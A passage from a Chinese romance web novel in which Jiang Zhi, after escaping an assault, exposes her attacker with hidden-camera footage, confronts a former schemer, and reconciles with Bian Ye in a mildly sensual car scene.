身上盖着件男士外套,露出的红色裙摆沾满了灰渍,腿上有磕到似的青紫痕迹,一处脚踝红肿,脚上只穿了一只鞋,另一只脚露在外面,全是灰土不说,脚底早已磨破,一道又一道的划痕,还有几颗小石子嵌在皮肤里。 边野心脏猛地抽痛了一下,毫不犹豫把她从地上抱起来。 她头发凌乱不堪,整个人像是在灰尘里滚了一遭。 到这时候,他才看见她手臂上的伤口。 沾染着灰,虽不再流血,但依旧触目惊心。 没有哪一刻能像现在这样。 哪怕是难熬的六年半也不敌此刻,他像是被人捏住了心脏,连呼吸都困难。 即便怨她,他也希望她好好的,而不是把自己弄成这样。 “这小姑娘也不知道经历了什么,我刚从后厨出来就看见她跑进来,跟逃命似的。一进来站都站不住就倒在我跟前了,给我吓得。” 老板在那嘀嘀咕咕,边野却如同听不见似的,眼底只有她的模样。 “谢谢。” 他没带现金,就把手表摘下来送老板。 老板又吓一跳,“哎!我不是跟你要钱的,你这表快带走——” 他追出去,人已经开着车疾驰离开。 只给他一个影子。 老板叹了口气。 这都什么事儿哦。 姜栀被迅速送到医院,医生安排了病房给她输液,还给她处理了几处伤口。 边野坐在病床前,目光扫过那一滴一滴的液体,落在她苍白到没什么血色的脸上。闭着眼安安静静的,像雕花白瓷,一碰就碎。 他脸色始终紧绷着。 无数杂乱的情绪在胸腔里窜动。 每一个都无法平息,难以平息。 许久。 久到他觉得自己成了石塑,病床上的人终于有了苏醒的迹象。 边野眼眸动了下。 比看到他来得更快的,是鼻间流窜的消毒水气味。 但姜栀还没有缓过来,有意识的瞬间,脑子里全是贺为京压着她过来的场景,还有被药物支配的恐惧与无助。 在安静的病房里无限放大。 她猛地睁开眼。 胸口气息紊乱,浑身都传来痛意。 “醒了?有没有哪里不舒服?” 低沉的嗓音传来,姜栀愣了下,缓缓扭头看他,过了会儿才意识到他在这儿是为什么。 明明已经没事了,可她不知道为什么还是有点眼酸。 只是眨了下眼,眼尾就有泪滑落,她眼睫颤了下,垂下去。 边野眸色暗了几分,心口酸软。 “不舒服吗?” “没……” 她声音有些沙哑,还带着点哽咽的哭腔。 像脆弱的陶瓷。 边野搭在膝盖上的手掌收紧了些。 等她情绪好一些后,他才问:“为什么会把自己搞成这样?” 姜栀抬起眼皮,唇瓣动了动还是没有选择骗他,“我去见了贺为京。” 这个名字如同逆鳞,几乎一瞬间点起他心底的火,但他依旧克制着情绪,只是声音明显冷了,“为什么不告诉我就自己去找他?” “我没告诉过你他是什么样的人吗?” 他眼底氤氲着怒意,姜栀看得见。 “我知道。” 正是因为知道才会选择独自去。 “你知道?”边野险些气笑,眼底冷意急速加剧,他脸色紧绷,“你是嫌自己活得太长吗?” 上一次被骗到包厢里差点出事,这一次居然还敢去。 他就这么不值得信任,什么都不愿意告诉他吗? 舆论的事是,这次私自去找贺为京也是。 姜栀喉口动了动,有涩意漫上来,充斥进鼻子眼睛。 她眼眸湿润,却还是看着他,“也许你已经在为我解决这件事,但他们有准备,我不知道这件事会发酵持续多久,我不想就这么连累你。” 不借助边叔叔的帮助横跨另一个行业,与白手起家无异,有多辛苦她只要想一想就知道,好不容易走到了今天,她不想因为她起的这把火把他也饿烧毁了。 声音颤了下,她忍了忍才勉强稳住声线,“我也想……站出来为你做些什么。” 我也想站出来为你做些什么。 如扣心门般,他胸腔里淤积的怒意被打散了大半,指骨收紧,他喉结滑动,“我不需要。” “我不需要你为我挡风遮雨。” 他脸色依旧很冷,“你以为你是谁?” “你去找他,自以为为我,问过我了吗,经过我同意了吗?” 掷地有声的质问。 比刚才还要冷漠。 他无法想象,如果那时候冲去苍蝇馆,她已经没有气息,他会怎么办。 大概是好不容易抓住的一缕阳光彻底熄灭,从此,这个世界上再无亮光,有的只是无尽深渊,不管他去到哪里,都会像激不起半点风浪一潭死水。 她可以不要他,可以离开他,无论怎样都可以。 唯独要活着,要好好的活着。 姜栀眼睫缓慢眨动了下。 她知道他这么生气是为什么,哪怕冲着她发脾气,她也不会说什么。 归根究底,是她错了。 天江大桥上,他说过她可以去找他。 但她还是没有,自私地做了这个决定。 也许是觉得太过亏欠他,这么多年来他过得太苦,她应该付出些什么,哪怕只有几成把握,她也应该去。 这是她弥补他的方式,一种近乎笨拙的方式。 “对不起……” 姜栀一开口,眼泪又滚落下来,漫入乌发里。她眼睫垂着,眼底一片红意。 她握住被子,情绪淅淅沥沥地涌上来,好像快要控制不住了。 边野眉头拧起,覆在膝盖上的指骨攥得发白。 他眸色暗了暗,话卡在喉咙里说不出来,一种名为后怕的情绪在胸腔里像无头苍蝇一样地寻找落地之处。 第58章 第 58 章 姜栀想把脑袋埋在被子里, 但最后也只是侧过脑袋背着他。 还是不想让他看见自己这么脆弱无力的样子。 气氛沉静。 她忍得很好,半点抽噎声都没有。 边野就这么看着她,默不作声了许久。 最后, 还是他先开口。 或许他确实没办法短时间内释然当初被决绝的抛弃, 也埋怨过她很多次, 但不代表他愿意看见她被别人欺负成这样。 尤其是贺为京那种人渣。 “电话里不是说有办法了, 不跟我说说吗?” 他压下那些不痛快, 声音温沉。 姜栀眨巴了下眼, 被泪打湿的睫毛一绺一绺的。 眼眶还红着, 但情绪因为这句话缓和许多。 她松了紧抓着被子的手,转过头去。 湿漉漉的眼睛像莹润的玻璃球,看着他的时候还是带点没有完全抹去的委屈,“我拿到了录像。” 姜栀带着鼻音出声。 “什么录像?” 边野看她,模样楚楚可怜,不知道的还以为被他欺负狠了。 她唇瓣蠕动, 想说又有点担心他会不高兴。 沉默了片刻, 从裙子上解下一颗纽扣递过去,“这是一个微型摄像头,没有被他发现。他对我所做的那些,还有承认是谣言的推手这件事都记录进去了。” 唯一可惜的是,她不知道背后帮贺为京的另一个人是谁。 边野看着那颗纽扣式样的摄像头,眉目顿时沉下去。 没接。 姜栀抿了抿唇,“虽然没办法作为证据,但至少可以让不明真相的人知道, 能洗去这一身脏水。” 他呼吸重了点, “那你知不知道,如果放出去, 你也会受到伤害?” 贺为京的那些心思昭然若揭,他太过清楚。 即便他今天没在场也知道她经历了什么,他从没想过让她去承担外界的审视。贺为京这一次是做了周密的计划,以至于没能及时查出来,害她去冒险。 姜栀知道他心里在想什么,可仍旧执着。 “也许你很快就可以让这些不实的流言蜚语消失,时间长了人们也会逐渐遗忘这件事,但贺为京,他什么伤害都没有受到。” “这一次不成,再有下一次怎么办?” 她不想再有一次,让自己、让他处于风口浪尖,任人批判。 真正有罪的是贺为京。 “历尽千辛才拿到的东西,就让它保护你一次吧。”她眼底有渴望。 边野深吸了口气,最终还是揭过。 “以后——” 他嗓音低沉,但很肃穆,“不管发生什么,不要自己偷偷做决定,至少让我知道你想做什么。” 姜栀心口酸软,弯了弯唇角,眼底残留的泪渍闪着细碎的光。 “好。” 边野的动作很快,比去彻查时来得凶猛。 运转操作之下,热度急速攀升,不过几小时就已经覆盖了那些不实的流言。 群情激愤。 “果然符合我对富二代的刻板印象,一天到晚正事不干,就知道玩女人,就因为人家漂亮就要不择手段地去得到,哪怕毁了她现在的生活也不足惜。我请问富二代眼里,大街上行走的女人都是玩物?” “B市的贺家也算是响当当的世家吧,居然养出这种儿子,一天天的表面上做慈善,背地里尽干些下贱的勾当!今天这事儿是被爆出来了,没爆出来之前还不知道有多少女孩子被强行欺负,这种人就应该受到法律制裁!” “听说以前还有女孩子被他玩死,但是因为背景厉害,没翻出半点水花,那女孩是独生女,父母眼睛都哭瞎了,最后赔了点钱就把人打发了,简直一手遮天。” “我为我是B市人感到羞耻,杀人就该偿命,这种社会渣宰就不该活在这个世上!必须严查贺家的所有企业,贪污贿赂杀人埋尸一个都不该放过!” “……” 短短一下午,舆论迅速反转。 原本受尽攻击谩骂的姜栀现在成了网友可怜的对象,一个个冲锋陷阵地为她发声,而起作壁上观的贺为京成了人人喊打的过街老鼠。 再加上边野幕后添火,爆出贺家家风不正的丑闻与财报有疑的消息,让这件事的热度空前之高。 已经从舆论性质变成了社会性事件。 不光是贺为京的社交平台被冲,就连他投资的店面也被正义网友怒冲。 他看着那些无休止的谩骂怒火中烧,一把掀了桌子,瓶瓶罐罐的酒水瞬间砸碎在地,哗啦啦地令人胆寒,不敢出声。 “操!” 他咬牙切齿地在房间里走来走去,恨不得把姜栀撕碎了。 打电话给公关,贺为京怒不可遏不地骂:“养你们都是干什么吃的,都已经好几个小时了,连个新闻都压不下去吗!” 对面唯唯诺诺,“三少,已经在公关了,但是这件事有人背后运作,我们尽力在搞了,最快……最快也要到明天。”明天能不能压得下去还不知道呢,但他们不敢说。 “明天?”贺为京气得一脚踹翻花瓶,啪的碎了。 “今天要是压不下去,你们都给我滚蛋!” 他两只眼睛都在冒火,青筋凸起,一把摔了手机。 “废物!” “都是废物!” 贺为京粗喘着气,怎么发泄都不够。 他想起来一个人。 把手机重新捡起来,他找到那个号码拨出去。 一遍两遍…… 一直被挂断。 他脸色难看至极,铁了心继续打。 第三十二通时,对面终于接了。 “你他妈敢不接老子电话?”贺为京生在贺家,从来都是被人捧着的,还没人敢这么晾着他。 冲天的怒火隔着电波传进苏明歆耳里,她心情也不好。 这电话她本来是不想接的,但后来意识到躲得过初一也躲不过十五。 “我刚在开会,现在才有空。”她信口胡诌,面不改色,“网上的事我都知道了,我给你想办法,你别急。” 目前最重要的,就是先稳住他。 贺为京冷笑,压根不信。 “你给我听好了,这事儿是你出的主意,现在矛头全对着我了,我给你一天时间,你要是弄不好,我就让所有人都知道你那天是怎么利用我为你做事的。” “你我一条绳上的蚂蚱,我要是倒了,你也别想好过。” 电话被猛地掐断。 苏明歆脸色铁青,力道大到几乎要把手机捏碎。 居然敢背着她留下证据。 她还真是小瞧了这个二世祖。 咬着牙吸了口气,她逼迫自己迅速冷静。 贺为京这种人阴晴不定,要是真把人惹不痛快了,对她的威胁很大,没法解决贺为京,那就要从别人下手。 当下,苏明歆请了假,直接飞去了盐城。 姜栀在医院里输完液就办理出院了。 她身上虽然很多磕碰,看着唬人,但实际并不严重。 当晚,她接到了苏明歆的电话。 一个在她生命里消失了近七年的人,像诈尸一样突然就闯入了她的生活。 姜栀很冷静,也答应了她见面的要求。 地址在她家附近的面馆。 她还没吃饭,就先过去。 苏明歆在来的路上,她给自己点了碗青椒肉丝面。肚子有点饿,她捞了一筷子面刚塞嘴里,电话就响了。 以为是苏明歆找不到路,她没在意就接了,温吞吞道:“这家店很好找,小区往东走几步就能看见,招牌上写着李姐面店。” 电话那边没出声,姜栀还没发现。 “你听到我给你指的路了吗?” 对面依旧沉默。 姜栀嚼着嚼着觉出不对来,拿下来看了眼,屏幕上是边野的名字。 她面色僵了下,咀嚼的动作也随之停下,一时不知道该说什么。 “要见谁?” 隔着电波,终于传来磁沉的嗓音,带着点儿质问。 姜栀缓慢地嚼着嘴里的面,手里的筷子无意识地戳着碗里的面条。 “不能告诉我,还是不愿意说。” 边野声音低沉,但没有逼迫她的意思,就像是在单纯就这个问题问她。 “没……”只是不知道该怎么说。 她眼睫眨了下,沉默了几秒钟,低低出声:“是苏秘书。” “苏明歆?”边野眉头顿时拧起。 她不该在宿城吗,怎么会不远千里来这儿? “嗯。”多余的姜栀也就没说了。 边野觉出她不想再说,沿着路边走,停在了李姐面店对面。 路灯将他的身影拉得很长,他举着手机隔着柏油马路望向店里的姜栀。她正埋着脑袋在一根根的吃面。 他沉静着没说话,两个人默契般的陷入一片安宁。 面馆老板李姐正给客人送面,路过她的时候,笑呵呵道:“要不要再添点面,够吃哇?” 她是面馆的常客,跟李姐也很熟,李姐知道她一个人在这儿打拼,经常会给她弄一大碗,生怕她饿着。 她也时常会带些爷爷奶奶寄过来的食物分给李姐,两人一来二去倒是成了好朋友。 姜栀温柔一笑,眉眼如弯起的月牙,“够吃的,谢谢您。” “客气什么,小女娃子能吃多少,又吃不空我。”老板笑眯眯的,“那我先去忙了。” 她笑着点点头。 收回视线的时候,恰好看见了站在门口的人。 绸缎般丝滑的香槟色衬衫,搭着一条黑色鱼尾裙,脚下一双银色高跟。波浪卷发垂在胸前,精致的都市丽人模样。但或许是年纪上来了,透着遮掩不住的疲态。 姜栀安安静静地望着她。 苏明歆。 太久没见,以至于在这儿看到这张脸,有种虚幻的不真实感。 她没来由地回想起那个暑假的尾巴。 那时候和边野刚在一起不久,她在雀跃里赶回来,却在走出车站前被浇了一身的冷水,像刺猬一样竖起硬刺。 一个只要出现就会引起他情绪的人。 她实在没法笑脸相迎。 苏明歆进来前先是不着痕迹地打量了一下,几平米的小面馆,顶上的白炽灯亮得晃眼,摆着四五张小方桌,里面还有别的客人吸溜的吃面声。 她下意识蹙了下眉,忍着不适走进去。 姜栀所坐的那张方桌上,她一眼看出因为时间而堆积在桌面上的油腻感。抽过几张很薄的纸张堆在凳子上,她小心坐下去。 新买的高跟鞋都似乎无处落下。 “怎么选在这里?” 哪怕她面上已经极力隐忍,但言语中透露出来的嫌弃还是挡不住。 姜栀一碗面下去,胃被填满,舒服许多。 拿过纸巾擦嘴,跟她像是许久未见的老友一般,“味道很好的,你要不要来一碗?” 苏明歆皱眉,“我吃过了。” 她看着如今的姜栀,许多年前那张稚气未脱的脸早已经成熟,眼神通透,周身沉淀着历练过的从容。 再没有曾经在车站见到她时的高度警惕。 打量的视线扫过姜栀的衣服,她穿了件长袖,但手腕上的磕痕还是挡不住。 看过那份录像,苏明歆能猜到她经历了什么。 能从贺为京这种人手里逃出来,还带出了证据,不是一般人,她可不能再像从前一样小瞧她了。 “我今天来是有事找你。”苏明歆懒得浪费时间,开门见山。 这事她反正也不是第一次做,早就熟练了。 “我知道。”姜栀配合地点头。 只是和上一次在车站不一样,高姿态的掩盖下,还是可以看出她那份不耐和焦躁。 “你来是为贺为京的事,想让我撤掉那些,我没猜错吧?” 这个节骨眼上突然来找她,姜栀想不出别的原因。 但到底惊讶于,这样萍水都不相逢的两个人,居然会有交集。 贺为京的意图很好猜,至于苏明歆,她还想要边家的什么,到了这个地步竟还想着利用自己去中伤边野。 苏明歆望着她,红唇勾起,“几年不见,你果然更聪明了。” 站在马路对面的边野眉头微拧了下。 这通电话也许是被她遗忘,才让他有机会听到这些。 背着他单独去找姜栀,会是什么好事? 他眸色凝沉地望着店里的苏明歆,眼底有寒意溢出。 苏明歆也不惧她现在这种变化,姜栀在她看来就是个惯来听话、善良、又为别人着想的人,跟她不一样。 “你知道我的,我要做一件事,只要能达到目的,过程多烂我都不在意。” 不择手段。 姜栀岂能不清楚。 “但这次不一样,我没办法再答应你了。”姜栀很平静地望着她,像是说给她听,也像是说给自己听。 她曾经用自以为保护边野的方式把他狠狠推开,可却让他这么多年来都活在煎熬与痛苦中,她不可以再让他重新坠入深渊。 世人都向往光明。 而光明也该落在他身上,照亮他的一方天地。 苏明歆勾唇,还在威胁,“上一次的教训还不够?你要为了自己害死别人吗?” “你们从来就不是一个世界的人,把视频全部撤了,我会让你重新过上平静安宁的生活,但如果你敬酒不吃吃罚酒,就别怪我让你痛失所爱。” 姜栀没忍住,一杯水直接对准她的脸泼下去。 速度很快,苏明歆都没来得及躲。 水珠打湿了她精心打理过的卷发,八字刘海被水黏成几绺,顺着脸上水渍往下滚,眼睫被水浸的差点睁不开。 动静不大,却引来了周遭看热闹的顾客们。 苏明歆明显没想到她会做出这种举动,以至于一时间没反应过来,不可置信地盯着她,像被定了身的雕塑。 片刻后才腾起怒意来,“你疯了?” 姜栀放下杯子,直视着她那双精明的眼。 从没有哪一刻她觉得自己应该如此英勇激进,或许是那一张又一张的诊断书,又或许是周然说的那些话。 “我早就应该这样对你。” 她这样温和的一个人,此时脸上尽是冷意,“晚了七年。” 姜栀觉得自己今天愿意见她,也许是冥冥之中注定好的。 让她得以出一口气。 她淡漠着脸起身,拿过手机就走。 “你给我站住!” 苏明歆迅速抽过几张纸,胡乱地擦掉脸上的水渍。她心脏悬空得厉害,那种脱离掌控的感觉像浮出水面的鱼,逐渐令她难以控制。 姜栀在门口停下。 她回头看向苏明歆,无疑是狼狈的,但却并没有让她心底多痛快,“这是我答应见你的最后一次,今后不论你想做什么我都会奉陪。” 一字一句,掷地有声,“录像我不会撤掉,即便是丢掉工作,我也会陪你耗着。如果你还想伤害他,我也一定会竭尽全力,让你不得善终。” 姜栀毅然决然离去,留下苏明歆站在原地,怒火中烧。 她气得一巴掌拍在桌上,牙齿都要咬碎了。 真是什么人都敢威胁她了。 行啊,等着瞧吧,我不会让你好过的。 从面馆里走出去,道旁昏黄的路灯光线罩在她身上。 柔缓朦胧。 不想现在就回去。 她握着手机漫无目的地往前走,胸口里像是塞了一团潮湿的棉花,湿湿重重的,一点点拉着她下坠。 姜栀深吸了口气,缓缓吐出。 低垂的视线里,一道被光线倒映在青石砖上的影子忽然闯入,紧接着一双黑色皮鞋不偏不倚地停在她跟前几步路的地方。 “为什么不告诉我?” 头顶传来低沉冷淡的嗓音,带着经年的沉重和不被信任的嘲弄。 姜栀愣了一下,掀起眼皮。 边野那张带着些攻击性的俊气脸庞映入眼底,太过突然的出现和令人毫无头绪的问题同时摆在眼前,她“啊”了一声,一时没反应过来。 暖黄的光线落在他脸上,将他冷硬的轮廓柔和几分。 只是那双瞳眸依旧浓稠如墨,像是要将她吞噬。 他盯着她茫然的模样看了会儿,眼睫微垂,视线落在她握着的手机上面。 姜栀顺着他看过去,脑子里有根弦“锃”的一下断开。 她那会儿是不是……忘记挂电话了? 姜栀连忙拿起手机打开,通话界面就这么大喇喇地出现。 通话计时的秒数位还在一点一点的增加。 近乎慌乱地按断这通打了如此长久的电话,姜栀舔了下干涩的唇,眼睫连着眨动了好几下,才堪堪出声:“我、我只是……” 她想说她和苏明歆只是简单的见了一面,但他无疑都听见了。 “只是不想麻烦我。” 他语气很淡,眼底带着嘲意,“我说的对吗?” 姜栀眼睫颤动了下,捏着手机的指尖无意识地收紧。 “哪怕我刚说过,你可以麻烦我,可以开口向我寻求帮助,你也从不记得这些,自顾自地去面对,你是不是觉得自己很伟大?” 这已经是第三次,凡事不过三。 边野漆黑的眸子冰冷得能冻死人,语调沉了又沉,用尽了最后的耐心。 “姜栀——” “这一刻开始,我们永远不会再见面了。” 哪怕再放不下,再痛苦,他都只能斩断。 心脏抽痛,他压着呼吸,决绝转身。 和六年半前不一样,和她不得已去推开他不一样。 他这一次该是恨她恨极了。 就像他说的,从今以后,他们不会再见了,如同两条平行线,即便蔓延到生命尽头,也不可能再相交。 灯光下,他的影子越来越远。 姜栀眼眶止不住地泛热,瞬间红了一圈,唇瓣控制不住地颤抖。眼泪滚下来,一颗接一颗,哽咽声越来越明显。 情绪像决堤的洪水,几乎将她淹没在洪流中。 边野默不作声地走到车边。 不快、压抑、苦楚、戾气、躁意、自嘲,这些东西一股脑儿地在胸腔里翻滚,他眉眼间锋利尽显,无处发泄。 摸出手机,他沉着脸翻到姜栀的号码。 指尖在上面停留了数秒,随后删除。 从中控拿过烟,他敲出一根,摸了摸口袋。 从衣服到裤子,都没有打火机。 边野咬着烟,那股躁意达到了顶峰。 颌骨磨了几下,他取了烟放回去,拉开主驾的车门,冷着脸坐上去。关门的时候,一股力道忽然阻住了。 不重,但令人忽略不了。 他手劲一松,目光侧过去,看到白皙纤细的手指。 顺着那只手往上,那张巴掌大的脸上,秀气的鼻头泛着红,琥珀色眸子湿漉漉的像被水洗过,在光线下似清透的玻璃弹珠。 眼尾很红,残余着哭过的痕迹。 边野松了手,撇过脸,语气沉冷不耐,“你还来干什么?” 虽透着点凶意,但她听得心口酸楚难忍。 姜栀没说话,重新拉开车门,朝他靠近。 他眉头微拧了下。 但这回没了开口的机会。 柔软微热的唇不由分说地贴了上来,他怔在原地,眉头下意识蹙了下。 如此近的距离里,他看见她轻颤不止的睫毛,带着被泪浸过的湿润,眼底有没干透的泪痕。 清浅的气息萦绕在鼻间,他想起那晚激烈的吻。 喉结滑动,眸色暗了暗,边野没有继续,伸手去推她。 但很快被她按住。 她手很小却很软,只是稍微用了点力道去按压,他就没了反抗的劲。 甘愿臣服。 姜栀从小到大也只跟他谈过一次恋爱,分别的这些年里,她从未跟别的男人有过任何亲近之举,对这方面实在是生涩。 她怕他再推开自己,只能学着他那晚的方式去咬他。 笨拙,但有用。 只是轻轻咬了下,他的呼吸就已经不受控制地发重。 “姜栀……” 他气息不稳,想跟她说点什么,但她铁了心不让他开口似的,双臂环住他脖颈,踮着一一点脚尖,努力去触碰。 是个男人这时候都不该忍了。 更何况,他其实渴望她许久。 久到只要她轻轻一碰,那股压抑着火就汹涌地四处蔓延,烧得心肺都难受。 主驾驶空间小,边野抱起她去开了后车的门。 不比家里卧室,依旧窄密。 两道紊乱的气息剪不断理还乱地互相纠缠,越来越紧,激素和荷尔蒙像疯涨的潮水,两个人几乎要将彼此融进骨血里。 这样仓促突然的境况还是第一次。 姜栀多少有些羞窘,却并没阻止,只是任由他去探索,探索那些未知的地方。她觉得自己像被拨动的琴弦,又像意外坠海的小舟,沉浮中意识都在散去。 关键时候,那根琴弦断裂。 她理智缓缓回笼,湿漉漉的眼看得人心动,“没、没——” 那三个字始终说不出。 边野嗓音粗哑,眼眸浓稠。 “车里有。” 她耳根滚烫,眼睫颤动偏过脑袋。 “不会后悔吗?” 他凝视着她因此而潮红的面颊,实在是动人,比最甜的水蜜桃还要惹人。她额角有碎发被汗湿,边野替她抚开。 “不会。” 姜栀声音很轻,也不稳,但却坚定。 她那个时候才彻底感受到他愤懑自嘲又无助的心绪,也是那个时候她发现即便这么多年不见,这段被刻意压下的感情依旧能燃烧起熊熊大火,将她整个人都焚烧干净。 只要一想到从今以后再也见不到他,漫无边际的艰涩和害怕就都笼罩了下来。 不可以。 只要余生想到都会悔恨不已的结局。 他已经为她做了这么多,不管是把她从贺为京手里救出来,还是送仓惶逃出魔窟的她到医院,亦或者扩大录像的影响,他一直在付出,哪怕嘴里总是说着一些刺耳的话。 该换她勇敢一次,而不是总在这段几乎破碎的感情里做缩头乌龟。 “如果今天不来,我才会后悔。” 她说这些的时候,眼底溢出酸楚的水光,汇聚成晶莹的泪珠,从眼尾一点点滑下去,滑到看不见的地方。 边野冷硬的心像被泡在暖融融的水里,他眉眼温和起来,用指腹擦去她眼尾的泪渍。 沙哑中,他问:“所以为什么不愿意告诉我?” 姜栀躺在座椅上,乌黑的头发铺陈着。 以为他是在问当时电话里为什么没有告诉他见苏明歆的目的,她望着那双漆黑的眼,“因为不管她找我是为了什么,我都不会答应。你那么恨她,没必要脏了你的眼睛。” 他视线逡巡着她的脸,每一寸都看得细致。 “嗯。” 边野从车里拿过掌心大的包装袋,用嘴咬开,然后递给她,“能吗?” 姜栀眸子轻颤了下,面颊耳根瞬间红了个透,近乎滴血的状态。她没好意思看他,很轻地应了声,声若蚊讷。 车里没开灯,车窗又贴了膜,只能依靠着路灯的光线辨别,到底昏暗。 好几次,她才成功。 指尖的温度比把她放在热锅上蒸还要烫。 没有哪一刻,边野有这样的归属感。 不论是在宿城还是国外,亦或者在盐城,他始终觉得自己是个漂泊不定的扁舟。 而现在,扁舟终于归港。 港湾温暖,他终于不用再独自舔伤。 “姜栀。”声音粗哑得像是含了沙子。 紊乱的吸气里,她很轻地应了声。 “我说的是高三那年,为什么要推开我。”那通她和苏明歆的电话他听过后,其实大抵能猜出来些,但还是想听她说。 听她亲自告诉自己。 姜栀脑袋微仰着,抓着他肌肉精壮的小臂。 那些过往在脑子里过电影似的一幕幕闪过,最终停留在医院里。哪怕过了这么多年,但只要想起,就如锥针一样扎在心口上。 她时断时续的声线里夹了一丝无力,“还记得家具城那场车祸吗?” 怎么会不记得。 边野眼眸晦涩。 那场他拿命护着她出的车祸,几乎成了生命里的烙印。只要想起,就会连带着记起她是怎样在他还没出院的时候,就残忍地和别的男生站在一起。 然后看着他,告诉他,她不喜欢他了。 在国外无数个睡不着的日夜里,只要记起,那种窒息感就会从四面八方朝他涌来。 后来很长的一段时间里,他有了丧生的倾向。 这种眼神刺痛了姜栀,她喉咙里像卡了尖锐的刺,扎在血肉里,痛却拔不出来。 “对不起啊。” 她眼眶瞬间红了一圈,有泪在眼眶里打转,“那个时候的我只有一种选择,就是听苏明歆的话,远离你。不管用什么办法。” “我没有办法看你在我面前再一次出事,哪怕只有百分之一的概率,所以我请了白司裴帮忙。”但没想到她用了最蠢的办法。 “活着。” 她哽咽地难以自抑,快要碎了一般,“19岁的姜栀只想让边野活着,好好活着。” 边野掌心缓缓攥紧,胸口坠重。 她如今已经成长,却在面对苏明歆时依旧会控制不住自己,他无法想象那个还在念高二的姜栀,面对这样的威胁,她有多无助,多害怕。 却还是要逼着自己顺从苏明歆的意愿,自顾自地保护他。 只为了保护他。 他曾经那样怨恨她移情别恋,现在却感觉连呼吸都艰涩无比。 无数刀子倒豆般朝他落下来。 “姜栀。” 边野嗓音沙哑苦涩,手指钻进她的指缝中,然后一点点收紧。 好像这样就能隔空去拥抱七年前那个稚嫩无助的少女。 “姜栀、姜栀……” 他一遍遍地去念她的名字,可怎么都不够,怎么都不够。 第59章 第 59 章 夜色深浓, 暖黄的路灯光线被衬得更亮了几分,远处的天际有零碎的星星。 两道交缠了许久的气息终于停下,车里昏昧, 空气中透着些许旖旎。 姜栀神色涣散, 腰肢酸软。 背后有薄汗湿在衣服上。 皮带的金属卡扣声音落下, 边野的气息稍作平稳, 抽出湿纸巾看向她, 嗓音低缓:“坐过来。” 姜栀脸上的潮红还未散去, 眼底依旧迷离。 虽然先前已经亲密到无距离, 但她还是有些羞窘,此刻连他的眼睛都不敢去直视。原本被发绳绑住的头发在过程中早已松散,垂落在脸颊边的长发很好的挡住他半边身子。 她抿了抿唇,伸手去接,“我自己来吧。” 低垂颤动的眼睫和滚烫的耳朵无不在昭示着她的羞涩。 像做贼似的不敢见人。 边野被她这副模样逗笑,胸腔里升腾起愉悦, 倒也没为难她, 把湿纸巾放在她手心,末了细心问:“够吗?” 姜栀浑身发烫,“……够、够了。” 她接过湿纸巾捏住,犹豫着想问他能不能先出去,对侧的车门忽然一开,边野已经下了车。 车里就剩下她一个人。 姜栀愣了下,那种想要钻到地底的感觉总算消散了些。 车外。 边野走去对面买了个打火机。 烟咬在嘴里,雾气散开, 他望着隔着条马路的车, 幽黑的眸子水沉沉的,喉结滑动。 从主驾的那个吻到结束, 真他妈像个梦。 他被人安放在梦里,竟有些分不清现实。 两根烟结束,边野朝着车走回去。 敲了敲后车门,他等在外面。 车窗降下,露出那张残余着红晕的脸,琥珀色眼眸在亮堂的光线下水润清透,“我、我好了。” 姜栀视线有些漂移。 看不到的地方,她两只手都快搅烂了。 “坐前面。” 边野唇角勾起一分,怎么看她怎么像小猫儿。 姜栀“哦”了一声乖乖去了副驾。 车门关上,她闻到他身上淡淡的烟味,带着点儿雪松清香,并不呛鼻。 “舒服吗?” 车里安静,边野边打转方向盘边问。 “什么?” 他勾唇睨她一眼,“刚刚。” 一瞬间,姜栀脸颊上原本快褪去的红晕迅速烧起来,烧得她哪哪儿都烫人。她眉头蹙了下,眼睫眨动了好几次,唇瓣蠕动着,最后一点声音都没发出来。 这……这是成年人之间的流程吗? 别人也会这样吗? 她想问,又觉得问不出口。 捏着安全带,坐立难安。 “不舒服?” 边野被她这些小表情逗得心情很好,见她垂着眼不说话又追问了句。 姜栀张了张嘴,偷瞄了他一眼,看他好像见怪不怪,一副很正经的模样,忽然就有些郁闷。 “……没。” 是不是因为熟练,所以并不觉得奇怪。 一股失落缓缓升起来。 “不舒服可以告诉我,我下次会注意。” 他说得毫无羞涩感,甚至有种在谈公事的感觉。 姜栀抬着眼睛这么看他,心底的失落堆积得更多了。 “嗯。”她移开视线,去看窗外的匀速倒退的夜景。 车里寂静。 边野开了舒缓的音乐。 许久,她才很轻地问出声:“你对这方面很熟练吗?” 如果再轻点,就要埋没在音乐的律动中。 边野低笑一声。 她眨巴了下眼,一脸莫名地看他,带着一点不满,“你笑什么?” “笑你脑子里都在想些什么东西。” 他声音温沉,有种酒酿的醇厚感,“以为是我让你不舒服了所以一直沉默着不说话,原来是因为这个。” 红灯前减速踩刹,边野偏头看她,笑里透着认真,“我还没那么饥渴。” “不是什么人我都看得上的。” 姜栀定定望着他,心里刚刚淤积的那些酸涩与失落瞬间被打散。 她有点不好意思,“对不起啊,我只是——” “你能不能对自己有点自信?” 边野漆黑的眸子落在她身上,眼底也只够容纳她一个人,“第一次是突然了点,但并不想带给你不好的体验。” 丝丝缕缕的甜意从四肢百骸里冒出来,朝着心口汇聚。姜栀轻抿了下唇,一时卡壳,瞟了眼前方的指示灯,“绿灯了。” 而后,她侧过脸,唇角缓缓弯起。 看到车窗外逐渐陌生的环境,姜栀才想起来自己已经在车上坐了有十几分钟了,比她走回去的时间还长。 “我们这是去哪?” 他没明说,“到了就知道了。” 车一路开往盐城中心圈。 最后开进了地价最高的小区里。 姜栀以为他住在这儿,倒也没有多想。 直到门打开,明亮的灯光照亮客厅,奶白色双层窗帘落入眼底,她愣了一下。 这不像他喜欢的风格。 米白的布绒沙发前是一张咖色木桌,圆形淡绿色的地毯铺在下面,桌椅皆是白色,却并不死板。阳台上摆着盆吊兰,还有个秋千椅,上面铺着米白的软垫。 一种久远的熟悉感从记忆深处袭来。 姜栀静静地看着每一处地方,每一份布置,几乎都是按照她的喜好来的,没人住却干净又整洁。 她想起来那个阴天的早晨。 ——[现在的没人气,想换点有温度的。] ——[给不给参谋啊?] …… 姜栀眼眶有些热。 原来并不是为了换软装,原来从那个时候他就在计划着这些。 回头去看,边野形容慵懒地靠在墙边,嘴角噙着点笑,“不喜欢?” 她摇头,“没。” 他走过来,拿过她的手,把钥匙放在她手心里。 “按计划,这个会在你大学的时候送给你,但……” 边野眸色晦暗了几分,“现在也不晚。” 冰凉的钥匙落在掌心里,她握着只觉得硌手,“不后悔吗。” 她眼睫颤了下,“如果早知道会这样。” 他应当是很高兴地为她准备了这个惊喜,为了让她喜欢带着她亲自去选家具。可就在那天,她做出了彻底离开他的决定。 